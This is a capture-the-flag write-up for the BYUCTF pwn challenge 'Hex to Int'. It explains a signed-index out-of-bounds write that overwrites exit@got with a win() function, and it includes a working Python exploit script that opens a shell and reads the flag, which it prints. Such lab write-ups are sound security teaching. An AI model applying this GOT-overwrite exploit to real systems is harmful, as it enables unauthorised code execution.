BYUCTF: Hex to Int

Platform: BYUCTF Challenge: Hex to Int Category: Pwn Difficulty: Easy/Medium

Flag

byuctf{0v3rwr1t1ng_t00??_3e2d88}

Target

<remote-host>:1365. File hex_to_int2.

• ELF 64-bit, non-PIE (EXEC), NX on, Partial RELRO (no BIND_NOW → GOT writable), not stripped.
• Flavor text: “I vibe coded a hex converter… ran out of tokens after 0xff, so you can just add the correct conversions as you find them” → you can write past the table.
• Imports include system + a /bin/sh string, and there’s a win() function.

Recon

win() @ 0x4011d4:

mov edi, 0x402075        ; "/bin/sh"
call system

So win sets up its own argument. Hijacking control to it from anywhere yields a shell.

main is a menu loop over a table at 0x404060 (4-byte int entries):

int idx, val;
scanf("%d", &choice);
// choice == 1: convert
    scanf("%x", &idx);                 // index parsed as HEX
    printf("...%d\n", table[idx]);     // OOB READ
// choice == 2: expand
    scanf("%x", &idx);                 // index parsed as HEX
    scanf("%d", &val);                 // value parsed as DECIMAL
    table[idx] = val;                  // *** OOB WRITE ***
// else: exit(0)

Disassembly of the write: mov [rax*4 + 0x404060], edx with rax = (int)idx sign-extended (cdqe). So option 2 is an arbitrary 4-byte write: *(0x404060 + idx*4) = val, with a signed index → negative indices reach lower addresses.

GOT overwrite → ret2win

Partial RELRO ⇒ .got.plt is writable. Overwrite a GOT entry with win and let the program call that function.

GOT entries (readelf -r): puts 0x404000, system 0x404010, printf 0x404018, scanf 0x404020, exit 0x404028.

Target exit@got (clean: I control exactly when it fires by choosing menu option 3):

idx*4 = 0x404028 - 0x404060 = -0x38   ->  idx = -14

• Index is read with %x, so -14 is entered as fffffff2 (→ (int)0xfffffff2 = -14, cdqe → rax = -14, rax*4 = -56, 0x404060 - 56 = 0x404028). ✅ (GOT is 8-aligned, table is 8-aligned → even index, lands exactly on the entry.)
• Value = win = 0x4011d4 = 4198868 (decimal, for %d). Only the low 4 bytes are written; the entry’s high 4 bytes were already 0 (addresses < 4 GiB), so exit@got becomes 0x00000000004011d4.

Then choose menu option 3 → exit() dereferences the GOT → win() → system("/bin/sh").

import socket, time, re
s = socket.create_connection(('<remote-host>', 1365))
def snd(b): s.sendall(b); time.sleep(0.2)
snd(b'2\n')            # expand table (the arbitrary write)
snd(b'fffffff2\n')     # index -14 (hex) -> exit@got @ 0x404028
snd(b'4198868\n')      # value = win (0x4011d4)
snd(b'3\n')            # menu option 3 -> exit() -> win -> /bin/sh
snd(b'cat flag.txt\n')
time.sleep(1); print(s.recv(4096).decode())
# -> byuctf{0v3rwr1t1ng_t00??_3e2d88}   (flag at /app/flag.txt)

Takeaways

• Watch the index type. A signed table index + idx*4 addressing turns “expand the table” into an arbitrary write at base + idx*4, including negative offsets into the GOT/data below the array.
• Partial RELRO = writable GOT. Classic ret2win: point any soon-to-be-called GOT slot (exit is tidiest) at a win gadget. Non-PIE means the win address is a fixed constant. No leak needed.
• win that loads its own arg is the easiest target: you don’t need to control registers, any redirected call lands a shell.
• Mind the radix of each scanf: here index = %x, value = %d. Mixing them up sends the wrong offset/value.
• Only the low 4 bytes get written, which is fine because the target address (0x4011d4) fits in 32 bits and the upper GOT bytes are already zero.

0xAdham